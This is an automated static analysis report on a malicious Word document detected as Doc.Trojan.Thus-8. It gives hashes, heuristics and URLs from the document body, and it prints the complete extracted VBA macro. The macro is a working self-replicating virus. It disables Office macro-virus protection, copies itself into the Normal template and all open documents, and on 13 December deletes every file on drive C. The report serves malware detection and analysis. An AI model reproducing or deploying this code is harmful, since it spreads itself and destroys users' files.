Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 318bf6d24c75a622…

MALICIOUS

Office (OLE)

80.5 KB Created: 2011-10-24 14:57:00 Authoring application: Microsoft Word 10.0 First seen: 2014-09-26
MD5: 7d610f3ba058fcf30229e15daf26bc48 SHA-1: cfcb52ba75507d6c9cd36353aee2e9f55cca6bbd SHA-256: 318bf6d24c75a622625b0ffdf586725ae4cf5c07fca566ef2693197083232968
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are designed to disable macro security and replicate themselves across documents and templates. This behavior is indicative of a macro-based malware that aims for persistence and self-propagation. The ClamAV detection 'Doc.Trojan.Thus-8' further supports the malicious nature of the file.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-8 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-8
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.strategyone.com/documents/dove_white_paper_final.pdf In document text (OLE body)
    • http://www.ajc.com/news/29-percent-of-schools-573667.htmlIn document text (OLE body)
    • http://www.scientificamerican.com/article.cfm?id=brain-gain-mental-exercisIn document text (OLE body)
    • http://www.washingtonpost.com/national/on-leadership/what-is-occupy-wall-street-the-history-of-leaderless-movements/2011/10/10/gIQAwkFjaL_story.htmlIn document text (OLE body)
    • http://news.yahoo.com/americas-biggest-teacher-principal-cheating-scandal-unfolds-atlanta-213734183.htmlIn document text (OLE body)
    • http://articles.latimes.com/2008/jun/10/local/me-charter10In document text (OLE body)
    • http://www.cs.princeton.edu/~rit/geo/Miller.pdfIn document text (OLE body)
    • http://www.whitehouse.gov/the-press-office/fact-sheet-race-topIn document text (OLE body)
    • http://www.reuters.com/article/2011/10/15/us-protests-idUSTRE79E0FC20111015In document text (OLE body)
    • http://www.cnn.com/2011/10/05/opinion/rushkoff-occupy-wall-street/In document text (OLE body)
    • http://www.economist.com/node/1795852?story_id=1795852In document text (OLE body)
    • http://www2.ed.gov/policy/elsec/leg/esea02/107-110.pdfIn document text (OLE body)
    • http://umanitoba.ca/publications/cjeap/articles/volante.htmlIn document text (OLE body)
    • http://www.foxnews.com/story/0,2933,121725,00.htmlIn document text (OLE body)
    • http://articles.latimes.com/2011/jul/14/local/la-me-0714-parent-trigger-20110714In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2346 bytes
SHA-256: d79029383507ddf8e8fa82cbeac95a06224cd63158944dbb1b4a89b4f6c9a157
Detection
ClamAV: Doc.Trojan.Thus-8
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
    .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
    .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
    .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
    .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) <> "'Thus_001'" Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
    .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
    Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
    .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
    .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
    .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
    If (Day(Now()) = 13) And (Month(Now()) = 12) Then
    With Application.FileSearch
        .NewSearch
        .LookIn = "C:\"
        .SearchSubFolders = True
        .FileName = "*.*"
        .MatchTextExactly = False
        .FileType = msoFileTypeAllFiles
        If .Execute > 0 Then
        For i = 1 To .FoundFiles.Count
        Kill .FoundFiles(i)
        Next i
        End If
    End With
    End If
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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